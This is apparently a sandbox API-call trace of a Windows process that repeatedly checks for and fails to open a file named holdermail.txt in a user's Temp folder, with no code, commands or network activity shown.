	[0089.078] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.079] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.079] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.079] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.079] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.079] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.079] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.079] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.080] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.080] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.080] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.080] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.080] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.080] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.080] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.080] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.081] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.081] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.081] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.081] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.081] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.081] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.081] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.081] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.081] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.081] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.081] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.082] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.082] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.082] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.082] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.082] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.082] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.082] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.082] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.082] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.082] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.082] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.083] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.083] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.083] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.083] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.083] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.083] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.083] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.084] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.084] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.084] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.084] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.084] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.084] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.085] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.085] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.085] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.085] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.085] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.085] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.085] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.085] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.085] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.086] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.086] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.086] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.086] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.086] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.086] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.086] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.086] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.086] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.086] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.086] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.087] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.087] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.087] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.087] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.087] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.087] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.087] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.087] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.087] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.087] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.087] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.088] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.088] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.088] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.088] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.088] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.088] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.089] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.089] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.089] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.089] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.089] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.089] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.089] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.090] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.090] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.090] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.090] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.090] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.090] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.090] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.090] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.090] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.163] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.163] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.163] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.164] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.164] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.164] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.164] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.164] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.164] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.164] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.164] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.165] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.165] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.165] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.165] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.165] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.165] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.165] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.165] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
